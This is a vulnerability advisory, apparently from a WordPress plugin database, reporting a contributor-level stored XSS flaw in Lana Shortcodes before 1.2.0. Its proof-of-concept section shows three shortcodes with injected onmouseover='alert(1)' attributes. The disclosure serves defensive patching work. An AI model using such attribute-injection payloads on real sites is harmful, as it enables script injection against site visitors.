WordPress Plugin Vulnerabilities

Lana Shortcodes < 1.2.0 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which allows users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

Insert any of the following shortcodes in a page/post:

*Button shortcode
[lana_button size="md" type='" onmouseover="alert(1)" style="background:red;"']Lana Button[/lana_button]

*Icon shortcode
[lana_icon name='home" onmouseover="alert(1)" style="background:red;"']

*Label shortcode
[lana_label type='" onmouseover="alert(1)" style="background:red;"']New[/lana_label]

Affects Plugins

Fixed in 1.2.0

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Webbernaut
Submitter
Webbernaut
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-06-26 (about 10 months ago)
Added
2023-06-26 (about 10 months ago)
Last Updated
2023-06-26 (about 10 months ago)

Other